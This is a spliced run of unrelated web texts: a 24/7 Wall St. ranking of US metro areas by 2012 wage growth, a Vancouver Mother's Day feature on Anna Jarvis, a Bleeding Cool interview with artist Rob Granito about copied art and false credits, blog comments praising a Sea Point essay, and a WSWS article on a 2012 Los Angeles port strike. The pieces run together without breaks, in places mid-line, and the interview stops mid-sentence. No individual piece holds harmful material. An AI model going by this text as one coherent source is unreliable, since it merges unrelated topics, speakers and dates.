In an interview with 24/7 Wall St., BLS Chief Regional Economist, Martin Kohli, noted that some of the metro areas with robust wage growth are relatively small, and the increase in average weekly wage in these places may be the result of "outliers, such as unusually large bonuses at a particular firm."
In other cities, however, there appears to be a single industry that is behind the significant change in the average wages. For example, in Midland and Odessa, Tex., and Cheyenne, Wyo., wages likely increased because of strong growth in the oil industry. In the two Texas cities, the mining, logging and construction industry, which includes oil-related employment, jobs grew by roughly 15% in each.
Moreover, "wages in natural resources and mining rose at a stronger-than-average rate of 6.1 percent over the year," Kohli said, further pushing pay higher. This means that not only are jobs being added to the already high-paying industries and sectors, but these industries and sectors also are increasing pay, thereby amplifying the overall effect on wages.
In some of the cities where wages increased the most, growth appears to be the result of a single large business moving to the area. The obvious example of this is the San Francisco metropolitan area, where the one-year wage growth was more than double that of any other metro in the country.
The reason behind that growth is likely the social media company, Facebook, which moved its headquarters from Palo Alto to Menlo Park at the end of 2011. Menlo park is in San Mateo County, which is in the San Francisco metro area. While other counties in the San Francisco area all grew less than 10%, in San Mateo, the average weekly wage grew more than 100%.
Based on the BLS quarterly census of employment and wages, 24/7 Wall St. reviewed the 10 metropolitan statistical areas with the biggest increases in average weekly wages between the fourth quarter of 2011 and the fourth quarter of 2012. 24/7 Wall St. also reviewed changes in employment by job sector and unemployment rates, both from the BLS, between December 2011 and December 2012.
10. Topeka, Kan.
--1-yr. wage growth: 8.1%
--Average weekly wage: $823
--Dec. 2011 unemployment: 6.1%
--Dec. 2012 unemployment: 6.0%
--1-yr. employment change: +0.9%
The average weekly wage in the Topeka area grew 8.1% between the fourth quarter of 2011 and the fourth quarter of 2012 to $823. Wages grew consistently each year since they were an average of $730 in the fourth quarter of 2008. Over the past several years, the food industry has been growing at a steady clip, with companies such as Frito-Lay and Del Monte adding jobs. Still, the unemployment rate in the Topeka area was 6% in December 2012, nearly unchanged from the same month in 2011.
9. Dalton, Ga.
--1-yr. wage growth: 8.2%
--Average weekly wage: $769
--Dec. 2011 unemployment: 12.5%
--Dec. 2012 unemployment: 11.0%
--1-yr. employment change: -0.2%
Workers in the Dalton metropolitan area received an average raise of $58 a week from the fourth quarter of 2011 to the fourth quarter of 2012, an increase of 8.2%. Before 2012, fourth-quarter average weekly wages had been dropping since 2009. Dalton has experienced some growth in generally higher-paying industries of late. Government jobs rose 6% in the area between December 2011 and December 2012, while professional and business services jobs rose 5.1%.
8. Elkhart-Goshen, Ind.
--1-yr. wage growth: 9.1%
--Average weekly wage: $782
--Dec. 2011 unemployment: 10.9%
--Dec. 2012 unemployment: 9.5%
--1-yr. employment change: +5.5%
The average weekly wage in Elkhart rose $65 between December 2011 and December 2012, when pay climbed to $782 per week. The Elkhart area was hit hard by the most recent economic downturn as demand for its key industry, RV manufacturing, plummeted. The unemployment rate hit a high of 20.2% in March 2009. However, the area's manufacturing base, which comprises nearly half of all the area's jobs, has been making a significant comeback, growing employment 7.4% from December 2011 to December 2012. Some of the area's RV plants have announced plans to continue hiring in 2013.
7. Cheyenne, Wyo.
--1-yr. wage growth: 9.5%
--Average weekly wage: $867
--Dec. 2011 unemployment: 6.8%
--Dec. 2012 unemployment: 5.6%
--1-yr. employment change: +2.7%
Cheyenne, like much of Wyoming, has benefited in recent years from an oil boom, which brought high-paying jobs to the area. Jobs in trade, transportation and utilities — the area's largest employment sector — rose 4.2% from December 2011 to December 2012. In addition, jobs in mining, logging and construction rose 6.9% at the same time. There were approximately 30 oil companies operating in Laramie County as of 2012, County Planner Gary Kranse told the Wyoming Eagle Tribune.
6. Odessa, Tex.
--1-yr. wage growth: 9.6%
--Average weekly wage: $1,105
--Dec. 2011 unemployment: 4.6%
--Dec. 2012 unemployment: 3.5%
--1-yr. employment change: +8.3%
The unemployment rate in the Odessa area fell to just 3.5% in December 2012 from the already low 4.6% rate a year earlier. The low unemployment and high wage growth likely can be attributed to new oil and gas exploration jobs in the Permian Basin. And this trend likely will continue in the near future, Waco Economist Ray Perryman said in an email to the Odessa American in June. "Current levels of oil and gas activity create a situation of high labor demand on a sustained basis," Perryman said. The number of jobs in mining, logging and construction grew 14.7% between December 2011 and December 2012, while jobs in trade, transportation and utilities grew 11.8%.
5. Provo-Orem, Utah
--1-yr. wage growth: 9.8%
--Average weekly wage: $832
--Dec. 2011 unemployment: 5.4%
--Dec. 2012 unemployment: 4.9%
--1-yr. employment change: +4.4%
Average weekly wages in the Provo-Orem area rose by $74 between December 2011 to December 2012 to hit $832. Several job sectors, notably high-paying ones, experienced significant employment growth between December 2011 and December 2012. The number of jobs in mining, logging and construction rose 17.4% in that time, while the number of jobs in professional and business services rose 7.5%. The Milken Institute listed the Provo-Orem area as seventh among the "Best Performing Cities 2012," looking at a host of different factors including job growth, wage growth and the presence of high-tech industries.
4. Fond du Lac, Wisc.
--1-yr. wage growth: 10.6%
--Average weekly wage: $811
--Dec. 2011 unemployment: 6.4%
--Dec. 2012 unemployment: 6.1%
--1-yr. employment change: +1.3%
Fond du Lac was one of just four metropolitan areas across the country where average weekly wages in the fourth quarter of 2012 rose more than 10% compared to the same time in 2011. The manufacturing sector, which was the area's largest employer, was also its largest growing sector between December 2011 and December 2012, with employment rising 5.2%. The unemployment rate in the Fond du Lac area was 6.1% in December 2012, an improvement from the 6.4% rate in the same month in 2011.
3. Midland, Tex.
--1-yr. wage growth: 11.1%
--Average weekly wage: $1,261
--Dec. 2011 unemployment: 3.7%
--Dec. 2012 unemployment: 2.9%
--1-yr. employment change: +8.3%
The average wage in the Midland metropolitan area was a very high $1,261 per week in the fourth quarter of 2012, a jump of $126 from the same time in 2011. Like Odessa, oil development in the Permian Basin contributed much to Midland's strong labor market. The number of jobs in mining, logging and construction rose 16.1% between December 2011 and December 2012. In addition, jobs in trade, transportation and utilities rose 9.8% at the same time. The growth in these generally high-paying industries has forced other industries to raise wages in order to compete for labor.
2. Vero Beach, Fla.
--1-yr. wage growth: 11.1%
--Average weekly wage: $839
--Dec. 2011 unemployment: 10.7%
--Dec. 2012 unemployment: 9.3%
--1-yr. employment change: -0.2%
Average weekly wages in the Vero Beach area spiked by $84 between the fourth quarter of 2011 and the fourth quarter of 2012. Overall, the area's employment figures improved, likely pushing up wages. The unemployment rate dropped 1.4 percentage points between December 2011 and December 2012. Another possible contributor to rising wages in the area was the increase in Florida's minimum wage, which grew from $7.31 to $7.67 beginning in January 2012. The leisure and hospitality industry, whose workers were more likely to benefit from the increased minimum wage than other industries, accounted for 6,800 of the 45,900 nonfarm jobs in the area as of December 2012.
1. San Francisco-Oakland-Mateo, Calif.
--1-yr. wage growth: 24.7%
--Average weekly wage: $1,706
--Dec. 2011 unemployment: 7.2%
--Dec. 2012 unemployment: 6.1%
--1-yr. employment change: +4.1%
Average weekly wages in the San Francisco metropolitan area increased by nearly a quarter between December 2011 and December 2012, considerably higher than any other metropolitan area. In San Mateo County, the average weekly wage more than doubled — rising 107.3% — between the fourth quarters of 2011 and 2012, by far the highest wage growth of any county measured by the BLS. Why the big growth? During that time, Facebook moved its headquarters into the county from its previous location in Santa Clara County. The company went public in May 2012, but Facebook employees exercised roughly 51 million stock options in the fourth quarter when they were allowed to cash out shares. The average wages of the approximately 6,200 workers in "computer system design services" was $82,891 a week.
24/7 Wall St. is a USA TODAY content partner offering financial news and commentary. Its content is produced independently of USA TODAY.
Read or Share this story: http://usat.ly/12LhqmHIt’s a popular misconception that Mother’s Day owes its origins to greeting card companies, chocolatiers and/or florists as a way to cash in on the fact every single person on Earth has (or at least once had) a mother.
Instead, Mother’s Day, as we know it today, was brought to life by a woman who never had children of her own and who died deeply regretting what the holiday grew into.
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Anna Jarvis was known for her maternal instincts
Anna Jarvis, a 53-year-old West Virginia woman, first began lobbying the government for a formal Mother’s Day in 1907, three years after the death of her own mother, as a way to help reunite families who’d been split up by the American Civil War. Her mother Ann, who gave birth to 13 children in total, was an activist who in her youth helped organize "Mothers' Work Day Clubs" to provide medicine for the poor, shelters for children with tuberculosis, and care for wounded soldiers from both sides of the war. She was also a follower of Julia Ward Howe, who made the famous "Appeal to womanhood throughout the world,” which later became known as the Mother's Day Proclamation, calling upon mothers everywhere to unite in the struggle to abolish war.
Jarvis’s home state became the first of several to adopt special Mother’s Days, and U.S. president Woodrow Wilson eventually signed it into law as a national holiday in 1914. Ironically, this was the same year the country entered an even bigger war overseas that plenty of mothers probably would have much preferred their sons not be sent off to die in.
But she soon became enraged by the by the crass commercialization of the holiday since the idea was for people to express love and gratitude to their mothers, not to simply buy them a card or gift. "I want it to be a day of sentiment, not profit," she said. “A printed card means nothing except that you are too lazy to write to the woman who has done more for you than anyone in the world. And candy! You take a box to Mother — and then eat most of it yourself.”
Sadly, Jarvis went broke organizing boycotts and launching lawsuits to try and return the holiday to its reverent roots, and even once got arrested for disturbing the peace after crashing an event where women sold white carnations — her chosen symbol for mothers — to raise money for the war effort. She ended up penniless and died of dementia in a state sanitarium in 1948 at age 84.
Anna Jarvis wanted people to honour their mothers rather than just buy them flowers or candy. It's hard to image what she would make of a $200 “limited-edition Mother's Day premium Starbucks card" worth only $50 in credit, which is an actual thing this year.
Here are 10 suggestions for ways for Vancouverites to show their moms some love this May 10.
1) Go for brunch: While breakfast in bed is a well-worn Mother’s Day cliché, chances are good she’d prefer a special meal that won’t risk including crumbs in the sheets or a mess in the kitchen. A variety of local restaurants are offering special Mother’s Day deals, including Boulevard Kitchen & Oyster Bar, the Boathouse at Kits Beach, Diva at the Met, and the new Big Rock Urban Eatery.
2) See a movie: May 10 is the closing day of the 14 annual DOXA film festival, and there are some suitably mom-friendly documentaries to choose from, including The Age of Love (about seniors and the speed-dating scene), Madame Phung’s Last Journey (about a Vietnamese transgender matriarch who runs a troupe of travelling performers), Tea Time (a Chilean film exploring female friendship through a group of elderly women who’ve been meeting for a weekly tea for 60 years) and Iris, Albert Maysles’ final film that tells the tale of larger-than-life “octogenarian starlet” Iris Apfel.
3) Grab some gelato: Everyone loves good ice cream. Mothers are no different. The city has plenty of high end options to choose from, including Bella Gelateria and Chocolaterie de la Nouvelle France.
4) Take a hike: For outdoorsier moms, there are plenty of day hikes in the Vancouver region that are both kid-friendly or, if she’d rather ditch the wee one for the day, not so much. The Courier has a number of good suggestions to choose from.
5) Get happy: Whatever outstanding issues you have with your mom are sure to be put on the backburner with a visit to the Museum of Vancouver’s new exhibit, The Happy Show, by award-winning designer Stefan Sagmeister, which highlights the importance of loved ones for personal happiness.
6) Catch a show: The Arts Club’s production of the Tony Award-winning, family-friendly musical In The Heights opens May 6. The salsa-flavoured show, set in a largely Latino neighbourhood of New York City, centres around "Abuela" Claudia, the loving matriarch of the barrio who knows everybody and is like a grandmother to all.
7) Organize a picnic: You can book a designated picnic site for groups of fewer than 50 people in parks across Vancouver through the City of Vancouver’s website.
8) Visit a garden: The new zipline isn’t up and running yet but Queen Elizabeth Park’s free garden is in bloom and well worth checking out. Or splurge on a visit to VanDusen Botanical Garden or Bloedel Conservatory.
9) Go to church with her: If she’s a regular church goer and you’re more of a once-in-a-blue-moon type, she’ll probably appreciate the gesture. A number of churches are also putting on special Mother’s Day concerts, including Pandora's Vox and Espiritu Vocal Ensembles at West Vancouver United Church and the Marcus Mosely Chorale’s Times Are A Changin' concert at Highlands United Church.
10) Donate: Another option would be simply to write a letter or phone your mother to let her know how much you love her and, instead of spending your money on expensive gifts or dinners, donate it to earthquake relief efforts in Nepal. Plenty of mothers are currently in desperate need, and no doubt Ann and Anna Jarvis would approve.Two weeks ago, I ran a question and answer session with the entity known as Rob Granito. It wasn’t that satisfactory, I didn’t have the opportunity to follow up on questions and I felt that Rob was basically avoiding the issues being presented. He wasn’t exactly presented in the most positive of lights.
Two weeks later I’m doing it again. Third time lucky. If nothing else, I think Rob is starting to understand why people may feel the way they are feeling about his work.
Or he’s a glutton for punishment.
Bleeding Cool has not paid anything for this interview. As before, the questions were posed to Rob by his wife, Alison Granito, who then transcribed them.
1. Rob, You tell me that your claims about ghosting cover work for Marvel and DC, was a mistake that you were actually doing cover recreations for a friend. That people have twisted your words when you said you were working on the Batman Animated series. But this is not the case. Time after time I have heard from people who you spoke to you and bought from you, and there was no twisting going on. You told people you worked on those books, on those series, and that justified the price tags of your work. You told me, and others, you were currently working on a Batman book with this “Jay Diddillo”. Now you tell me he just gave you his card, which you lost. It’s all about provenance and people like to buy work associated with such projects rather than copies. And will pay a premium. To claim a history of a work that’s false in order to sell it, is fraud, however much they enjoyed the purchase at the time. Do you understand this? Do you have any apology to make to say to people who bought something in the belief that it had a provenance it did not? And do you plan to rectify this in the future?
Man, you are starting out with the tough ones! No, in all seriousness, I do apologize, and, you know, give my apologies to every single person that was hurt or offended or felt like ripped off in any way. I still stand by the fact that I’m just an honest dude who made some honest mistakes, and, and I certainly never thought I’d be in the midst of all this drama I didn’t even mean to create in the first place! But I said it, it’s like, look. If you were upset by me, then, dude, I’m sorry- really really. I always thought our country was like the country of second chances and it’d be nice if the comics industry was also into giving second chances. Because, you know, I don’t want to stop creating art and being involved because I screwed up once. I wanna make amends and prove to all of you that I deserve another shot. If I can touch on it even though Ali doesn’t want me to, you know, Josh was telling me about Coleen Doran being kinda pissed at me last week, and she went back to bashing me or complaining or whatever. And I feel like, OK, I get it, I see how I upset you by not thinking things through. And I’ve got this image now, this rep, as being a kind of controversial figure, I guess like Rob Liefeld used to be seen, you know, you’d read that he was the bad boy in the comics industry back at one time. So when somebody looks at Rob Granito, they can’t just see Rob Granito, they see all the stuff, all the baggage, that goes with his name, and it like, adds on to the image they are putting together in their mind. So I automatically create this kind of bashing mentality, and it’s like… I mean, if Coleen Doran ever met me, you know, I’m like a teddy bear dude, I can be sweet, I’ve got the charm, I’m sure she’d see I was a gentleman and a guy who truly has a passion for comics, and she’d have a smile on her face. This is one period of my life where I messed up a few things, and you know, I don’t live my entire life by this one time period, I think I can try to make amends and prove myself. Oh, and by saying that, you know, let me thank the dude Rich for this interview in the first place because this is where making amends starts. See, I’m not bitter, and I don’t hold on to stuff, I see people’s points of views so I just hope they can see mine, you know?
2. Can you explain how the man who can spend so much alleged time accurately replicating a photograph, as opposed to just scanning it it and adding some paint daubs, the same man who would create this?
Well dude it’s a very easy answer in that one genre of work…. is more high class. The other genre was like a quick sketch card. I did it out quickly and maybe it didn’t look as good as I wanted it to. When I do a painting, yes, I try to be really, you know, meticulous, the way a Alex Ross would do it or whatever. But I mean, it’s a friggin’ sketch card, am I really to be judged by every little thing some people find? Look at any comic artist you want and you’ll see some work doesn’t always match the same level of quality but thats because it depended on the assignment. That was a sketch card and I was trying to hawk them out there fast, and it was kind of a challenge, you know, how fast can I do this, can I do it in like two minutes or whatever. But it’s not important?
3. Going forward, do you have any plans to correctly label what you sell, on or offline, so people know what they are buying?
I mean, of course, of course I do! You’ve got to think… I’m more famous than ever, so it’s like, no matter what, anything I do, any work, is gonna be under that microscope, now I’ve got the entire industry paying attention to me, and besides that, I’ve got tons of new fans, I’ve got all these haters, all the critics, and… and the entire comics website network or whatever, all the news sites, they are keeping eyes on Rob Granito, and it’s like, it’s “what will he do next”? “whats he gonna say?” because I’ve become this headline, this guy who gets news coverage. It’s funny, I’m really not comparing myself to like, movie stars, but in a way, I get how the paparazti works, and how you feel when everything you wanna say or do will be examined. So to answer the question, yeah, people are going to know what they’re getting, and no matter what critics are saying, you know, people will buy work from a controversial figure because thats the way collectors are and thats how comic book fans are largely. People like controversy and without it, comics are boring. But it doesn’t bother me, you know, whatever works.
4. You missed a point I made before. The photographs of Anastasia that you swiped. How do you think she feels about her work being sold like that by someone who has no right to sell it? And the many people who created work that you blatantly copied. You can see lots of examples here. Do you have any apology you would like to make to people who created the original work that you copied and then sold?
Huh. You know, this was something I should have explained before too but, I really thought that girl was somebody else I used to see at different shows. Before you get all “really guy” with me about that, I mean, dude- do you know how many girls are dressing and acting like that at conventions? Looks good but is it original? I would defintely apologize, apologize sincerely, you know, tell her I’m sorry, promise it wont happen again, if it really hurt her or whatever, I’m serious, then I apologize. But at the same time, it’s like, you want to be a public figure, you obviously want attention, you claim to be a model, well, you know that’s what happens sometimes, people shoot photographs or you or sketch you, and maybe I just crossed the line but I am sorry. But that is still how I see it. I did think she was this one girl I talked to who I used to see, and who gave me permission to do some art based on her look, you know, it was very goth or whatever, so I guess I just assumed. I’m learnin, I’m learnin!
5. Rob, I’d like to quote Kurt Busiek to you. “The idea that Dwayne McDuffie told someone to draw Luke Cage more “gangsta” is funny all by itself. And by “funny” I mean “an utter lie.” Dwayne McDuffie didn’t have a lot of love for Luke Cage, and the fact he’d use a word such as “gangsta” in a positive fashion strikes people who knew Dwayne as most unlike the man. Are you sure it was Dwayne you spoke to?
Dude, this is the kind of thing where it’s like, clearly against me because people don’t like me. So you know, whatever they say, you’re going to side with that. But tell me and I’m dead serious, what news coverage has Kurt Buseik been getting? All the sudden he wants to jump on the bandwagon and cut down every single thing he can? I met Dwayne a bunch of times, always a good dude as anybody would tell you. He always took the time to talk to people, I remember I had a Ben 10 painting and he really liked it and once again I wish I had given it to him. But I didn’t lie, he was very into that drawing, and he was explaining to me, because I’m just a comic artist man, you know, the urban thing, the “streets” thing, and how Luke Cage was the kind of character who made his rep in the hood, it was all subtle stuff, in his eyes, in his expression. That guy was like a teacher! It’s like, am I saying anything negative? No, I’m telling you positive truths. Positive truths are what I’m all about. I remember seeing Dwayne and he always had a big smile on his face when he approached my table, I remember him being so happy Blade was successful, and telling me we would work on something together one day when he wasn’t so busy. That was a big honor in my life and people like Kurt Busiek can’t take that away from me just because they’re unhappy with all the attention I’m getting, dude. It’s like, if you like me or hate me, I can’t change facts, can I?
6. As to posing as other people online to support your position, and claiming all sorts of industry credits, you say ” is there proof of that?”. Yes. The posts had the same IP address that Alison has used to post comments, but the spelling was closer to yours.
Well I don’t know how that’s proof? A few times you know I used the computer at the library so it’s possible other people did because the internet there is free. That’s probably why it looks like that to you. But I don’t think you have proof that I am posing as other people online. Is it so hard to believe, you know, maybe this dude has some fans? Some people who believe in him? I can’t control what people write, dude.
7. Rob, why did you tell your wife that I was bitter because you turned down the gig to draw my Watchmensch comic (published two years ago), when we hadn’t communicated with each other until a couple of months ago? The only person I considered for the book was the man who got it, Simon Rohrmuller?
Can I be real honest here? There’s that dude, Joe… the one who wrote that long live journal thing about me and the Akira show. I don’t want to say for sure, because my memory is a little hazy, but as I recall, he is the one who told me this at a show, that you were looking at my work for this Watchmen comedy comic and I told him I didn’t have time, and dude, I totally didn’t! And he was like, that dudes pissed, and he’s gonna destroy you online because thats what he does to artists who reject him, its his rep, so watch out. And I was like, guy, I’m a comics artist! I don’t get into all this drama. So I didnt think about it. But thats how that story started. Somebody at a show told me.
8. Rob, why do you believe that UK editors need to be paid to read submissions, and that Josh Hoopes, with the reputation of the biggest con man in comics, is the man to arrange that for you, if you pay him? Have you paid him yet?
I don’t want to say anything about Josh, Josh Hoopes, or any other comics artist. I can tell you, a lot of editors don’t take what they call, unsolicitated submissions or whatever. But I am working on it slowly. My goal is to find a place for myself and my art in the comic book world and I think I can, if people get to know the real Rob Granito. It’s like, you read some articles and what does that mean? I got articles bashing me by people who don’t even know me who never even met me, this kid in Japan, this lady who goes to conventions but never even talked to me, eventually I just throw my arms up! It’s like, let them talk about me then cause that only means they’re leaving somebody else alone! I am trying to focus on overseas editors because they really don’t have a clue as to what us crazy Americans are arguing about, haha. Seriously it’s such a different culture like, people in the UK and people in England and people in Europe, they don’t follow this stuff, they don’t care, they just want new stories, new art. I think it might work out for me and I will earn back my rep, I hope. I mean, like I said, I want to make amends and I want to apologize. So I don’t see how you can’t give me another chance.
9. What can you tell us about the titles you are intending to self publish by the end of the summer?
Well, self-publish is maybe not the…. I don’t want you to think I am self-publishing like, actual comics and everything, not yet. What it is is this. I’ve always been asked, you know, why don’t you create your own characters, your own stories and stuff, and the honest answer is, I just didn’t have the time, ever. And you know, when people go to a show, they want to see the characters they know, not some new stuff they never saw before. But since this story broke and my name is out there and I’m more famous in the comics world, this might be the time to showcase some of my own stories. So what I’m gonna do is get some prints made of some of the concepts and ideas I have. And then, this is the big thing, I’m gonna sign them and give them out for free, to all the fans who want them. And it’s like, go and re-sell them, whatever, I don’t care, if it makes you happy. The idea is that people will see, hey, this guy can create, hey, this guy really has an imagination, and hopefully, people will give me that second chance. I’ve got about six or seven different ideas for different series and characters, like a whole universe, that I am working with my boy on, and Josh has helped a lot with contributions and suggestions and he’ll also have a chance to show his artistic talents, too. Look- you can argue about it or admit it, but controversy creates cash. I know people are gonna be curious just because I’m so controversial. They like edgy stuff, stuff thats not so safe. Yeah, I am a big teddy bear, if people got to know me, they couldn’t help but smile. But yeah, I’ve got that edgy side, too. I know people want unpredictable stuff too. But anyway back to your question. I am working on artwork now to present this stuff, and in a few weeks, or a month or whatever, I’d be happy to share it with your website, so people can get a sneak peek. I’ll make these prints and hopefully it will raise some interest from possible investors, possible fans, who want to contribute. But I’ve got ideas for a bunch of series, and, when we do the next interview, I’ll give you |
34:31
Loved this article, but even more I love your writing style. It made me want to send it to everyone I know - just as it was sent to me. I look forward to reading more of your quirky blogs, particularly if they are about the old New South Africa. Re: In praise of Sea Point - by Tom
May 10 2013 11:40:35
I just returned from a walk along the promenade. I will be back there one day. Only a matter of time before you become a Polar Bear :) Re: In praise of Sea Point - by Amanda
May 10 2013 19:24:02
I think I am in love?
With your writing. Not you, that would just be weird.
Re: In praise of Sea Point - by Marijani
May 11 2013 02:46:10
Fabulous, and yes, it made me pine to be back there, even though I browsed thru Cafda bookshop just this past December. I always think of Sea Point while running and counting the faraway ships in the ocean at the Long Beach, Long Island boardwalk. Alas, it cannot compare to what I know and you describe so effectively throughout this piece. Until my next Sea Point fix..Cheers! Re: In praise of Sea Point - by Nina Geraghty
May 11 2013 20:42:29
So enjoyed reading this, Darrel - evocative writing, witty and observant, making small moments captivating. Re: In praise of Sea Point - by Nancy
May 12 2013 19:25:44
Oh you captured it so beautifully! I have lived here for two years now and love the wackiness and the fact that you can walk everywhere and sample its charms. BTW, I live next door to that very famous lady of the night....who knows what goes on next door... Re: In praise of Sea Point - by Cheryl
May 13 2013 12:40:55
Aaaaah! The essence of it�.. I left this piece wanting more. Re: In praise of Sea Point - by Patrick
May 13 2013 17:44:11
I was reading Chin Shengt'an's 33 happy moments in bed last Saturday morning. Espresso and cigarette and iPad been manoeuvred from hand to hand. And smiling. And now this. I urge you to finish the last 10. Re: In praise of Sea Point - by Tana Paddock
May 13 2013 18:46:25
Thank you for this! I live in Sea Point and definitely resonated with many of your reflections.
I encourage you to drop by La Case Tropicale to meet Mamma Betty next time you're wandering down Main Rd (across from Adelphi Centre). She's originally from the Congo, but spent many years in Japan so is fluent in Japanese as well. She's a wonderful woman and great cook.
She's closing the doors of the restaurant for 2 hours every Tuesday and Thursday of this month to host an introductory Xhosa language course (taught by UbuntuBridge). A few of us often stay after class for a meal together. It has been a great community-building experience. The course is full, but I hope we can offer more courses in the future.
Hesheng, the chinese restaurant just a few doors down is also a gem- the one with the frilly chairs- Best chinese food in Cape Town hands down. Re: In praise of Sea Point - by gazellecyclist
May 14 2013 12:06:59
Are you the little prince? Re: In praise of Sea Point - by Karen
May 15 2013 06:07:22
So love this article - thank you! Recently, I fractured my arm and was left for six weeks unable to drive. Most days I walked from my home in Camps Bay into Sea Point and it was an absolute pleasure being on foot, discovering the hood. Re: In praise of Sea Point - by Helene Cloete
May 15 2013 12:20:28
Loved, loved, loved it! You have such an evocative and beautiful writing style. I could see, smell, taste and touch everything through your words. I have a little blog too, in which I strive to do the same. Sometimes I even succeed. Inspiring! Re: In praise of Sea Point - by Sam Manclark
May 16 2013 15:31:08
Hi Darrel,
So cool to come across this piece, so entertaining and like a small holiday in the middle of the day.
x
Sam Manclark Re: In praise of Sea Point - by Lauren
May 18 2013 16:03:27
Love Sea Point too and it IS filled with Capetonians Darrel! I know because I am one of them and I continually bump other Capetonians from my past and present, in Sea Point. Have gone on working holidays/trial emigrations twice and each time have come back to Sea Point after 2 years. Re: In praise of Sea Point - by lanie
May 19 2013 21:59:13
bliksem, but you can write! I l�ke you, that is just how it is! Re: In praise of Sea Point - by Pinkie Wilson
June 02 2013 13:51:18
Oh how I have missed you! You're my favourite! You write with heart and a paintbrush. Re: In praise of Sea Point - by Sally Moinet
June 07 2013 07:36:33
Great article. Confirms how lucky we are! I love Sea point. Re: In praise of Sea Point - by Maryna Smuts
June 09 2013 18:03:20
This brings back so many wonderful memories... I loved living in Sea Point back in the 80s and have fantasies of getting back there sometime.
Thanks for a wonderful post! Re: In praise of Sea Point - by Emma
July 06 2013 09:11:39
Such evocative writing.
But what do you have against Capetonians? Re: In praise of Sea Point - by Kate
July 08 2013 15:33:44
Your post made me nostalgic for Sea Point. I miss its eccentricities hugely, but have found a new love just a hop over the mountain in Bo Kaap. Also rich in peculiar loveliness, which I hope to capture as aptly as you have in my fledgling my blog. Lovely piece! Re: In praise of Sea Point - by Ann Nurock
November 27 2013 20:32:28
Love this piece. So true even for us neighbors in Green Point Re: In praise of Sea Point - by coleen van staden
January 20 2014 08:06:40
Hello! Found your blog purely by chance.. loved this piece. Brought back such memories!..went to school in Sea Point and grew up in Three Anchor Bay. It is a VERY special place! Thanks for sharing those evocative impressions and moments. Re: In praise of Sea Point - by Brian Mitchell
April 01 2014 07:20:30
I am entirely homesick. Thank you! Re: In praise of Sea Point - by peter kramer
May 14 2015 11:27:34
i grew up there....moved around the peninsula....i miss the vibe everyday...it has a pace all of its own...so unique..really want to live there again Re: In praise of Sea Point - by Jeanette
May 14 2015 15:53:01
This is awesome, thank you. I have been privileged to live in Sea Point for the last 4 years and will be devastated if I should ever have to leave. Love it here Re: In praise of Sea Point - by Greg Duncan-Traill
May 14 2015 16:46:04
What a superb blog about my birthplace. Makes me so homesick...even though I love Joburg, my heart is, and always will be, in Sea Point. Thank you Darrell.
Best regards.
Greg Re: In praise of Sea Point - by Roger Levetan
May 14 2015 18:24:55
your favorite pizza place was Cosa nostra.The owner of that block gave all the tenants notice in anticipation of doing a major development on the site.To this day still waiting for plans to be approved by council.Pity! The area starting to look very rundown. Re: In praise of Sea Point - by Suzie Harrison
May 15 2015 07:29:51
This Article Is So Full Of Vivid, Vibrant Images! I Can Imagine Myself Reaching Out And Feeling, Touching, Smelling And Tasting Them! Makes Me Feel Filled With Such A Longing And Nostalgia For Those Long Past Sea-Point Days Of My Youth!
Re: In praise of Sea Point - by Auric Zander
May 15 2015 14:56:33
For all the same reasons, I have lived in Sea Point for over a decade - strange we haven't bumped each other on the promenade....... Re: In praise of Sea Point - by Marilyn
May 15 2015 16:47:34
Great piece of writing. Re: In praise of Sea Point - by Paul van Deventer
May 30 2015 06:04:11
Beautiful piece, exceptionally glad to live in Sea Point. Re: In praise of Sea Point - by Lynda
February 21 2016 11:55:16
I love South African writers. I loved Robert Kirby and Jani Allan. But, to be absolutely truthful, it is Darrel Bristol-Bovey that does it for me. His writing style and unexpected injections of humour keep me riveted. Proudly South African and one of our favourite sons.
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By Thomas Gaist
4 December 2012
Negotiations between the employers and striking port workers in Southern California came to a halt on Sunday, as the employers walked away from the table. The dock owners blamed the breakdown on the International Longshore and Warehouse Union (ILWU), which, they said, had rejected necessary concessions for new hires.
Employers in the port sector, like in the rest of the economy, have increasingly sought to restructure their operations with a largely casual and part time workforce. They have used lower-paid new hires with virtually no job protections to replace more senior, higher paid workers.
The 800 clerical workers on strike have shut down 10 of 14 terminals of the country’s most heavily trafficked port complex. Several thousand dockworkers in Los Angeles and Long Beach have refused to cross picket lines.
With concern in the corporate and political establishment growing over the financial fallout from the port closures—estimated to be as much as a billion dollars a day—leading Democratic politicians are dropping their phony claims of support and openly threatening the striking workers. Los Angeles Mayor Villagairosa warned the union leadership, “This cannot continue...The cost is too great to continue down this failed road.”
Corporations that depend on the major shipping lines affected by the strike have been pressing for the White House to intervene. In 2002, President Bush sought a court order ending a strike on the West Coast. While the Obama administration has not yet intervened, there is no doubt the Democratic Party is carrying out behind-the-scenes efforts to press the ILWU for a quick agreement.
Militancy on the part of the dockworkers—whose long history of struggle includes the 1934 San Francisco general strike—is fueling anxiety in the ruling class. Jonathan Gold, a vice president with the National Federation of Retailers, commented that shippers are hesitant to reroute to other West Coast ports, fearing that workers will respond with further strikes.
The NFR has sought presidential as well as congressional intervention to open the port. “Our members are very nervous and very upset about the impact of the (Los Angeles) strike on their businesses...They have very fresh memories of what happened in 2002 and what is happening on the east coast,” Gold stated.
While dockworkers are determined to fight, the ILWU has a long record of betrayed struggles and collaboration with the corporations. Over decades, this has led to the destruction of hundreds of thousands of jobs and the steady erosion of the conditions of dockworkers and port clerks. At the same time, with the help of the various middle class pseudo-left organizations, including the Stalinist Communist Party, the ILWU has sought to present itself as a “progressive” union.
In 2008, the ILWU staged a single day shutdown of ports on the West Coast, ostensibly to oppose the Iraq war. That same year it enthusiastically endorsed President Obama, who has, since his election, presided over a further acceleration of militarism internationally and class war against the American working class at home.
Last month, the Local 28 ILWU of Portland, Oregon, accepted a contract in eleventh-hour negotiations that imposed wage and benefit cuts. While the ILWU claimed victory, they ceded to management vital hiring prerogatives, which were won through the general strike of 1934.
Washington State port workers under ILWU jurisdiction carried out wildcat strikes in 2011, shutting down ports in Seattle, Tacoma, and Anacortes. The strike action was in response to continuous attacks by the shipping companies and port operators against the longshoremen. The employers are seeking to roll back an 80-year-old precedent and begin hiring non-union workers on the West Coast again. Under these conditions, the ongoing actions of the clerical workers can easily spread beyond Los Angeles and beyond the control of the unions.
The port strike is an expression of growing opposition in the working class to the decades-long attack on jobs and the living standards. The struggle can only be taken forward if the isolation of the strike is broken and it is development into a much wider industrial and political struggle against the Obama administration and the profit system it defends. This will require the formation of rank-and-file committees to take the conduct of the struggle out of the hands of the IWLU.Five Lessons Taught By One Great Dog
April 22, 2014
158 Comments
